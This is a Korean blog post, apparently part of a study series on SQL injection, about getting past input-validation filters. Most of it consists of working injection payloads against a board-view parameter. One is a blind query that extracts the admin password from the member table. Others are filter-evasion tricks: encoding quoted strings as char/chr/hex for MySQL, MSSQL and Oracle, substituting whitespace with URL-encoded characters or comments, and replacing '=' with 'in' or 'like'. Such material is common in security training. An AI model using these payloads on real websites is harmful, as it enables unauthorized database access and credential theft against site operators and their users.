Oh! JUN
6) 보안 솔루션 및 입력 값 검증 우회 기법 본문
6) 특수 문자 검증 우회 기법
1. 싱글 쿼터(') 문자 검증 우회
싱글 쿼터 문자 사용이 반드시 필요한 예시 |
SELECT * FROM board WHERE title like '%test%' |
싱글 쿼터 문자 사용이 필요 없는 예시 |
SELECT * FROM board WHERE idx=100 |
SELECT * FROM board WHERE title like '%test%' |
SELECT * FROM board order by idx desc |
※ 예시
boardView.do?idx=100 | 정상 |
boardView.do?idx=100 and 1=1 | 정상 |
boardView.do?idx=100 and ascii(substring((select password from member where id='admin'),1,1)&1=1 | 거짓 |
boardView.do?idx=100 and substring('test',1,1)='t' | 거짓 |
'admin', 'test' 싱글쿼터 검증때문에 거짓 뜸
※ 우회 방법
'admin' 싱글 쿼터 우회 방법 | ||
MYSQL | char | 1) concat(char(97), char(100), char(109), char(105), char(110)) 2) char(97, 100, 109, 105, 110) 3) 0x61646D696E |
MSSQL | char | char(97)+char(100)+char(109)+char(105)+char(110) |
ORACLE | chr | chr(97)||chr(100)||chr(109)||chr(105)||chr(110) |
※ burp suite
1) concat(char(97), char(100), char(109), char(105), char(110))
2) char(97, 100, 109, 105, 110)
3) 0x61646D696E
2. 공백 문자 검증 우회
boardView.do?idx=101-1 | 정상 |
boardView.do?idx=100[공백]-1 | 차단 |
boardView.do?idx=100[공백]and[공백]1=1 | 차단 |
boardView.do?idx=[공백]100 | 차단 |
분류 | 문자 |
공백 관련 문자 | %09 |
%0A | |
%0B | |
%0C | |
%0D | |
%A0 | |
주석 문자 | /**/ |
3. = 문자 검증 우회
대체 연산자 |
in |
like |
1=1은 1in(1)이다.
1=1은 1 like 1 이다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
8) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
---|---|
7) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
SQL Injection을 통한 데이터 조회 공격 실습 (0) | 2022.10.02 |
SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |
INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 (0) | 2022.10.01 |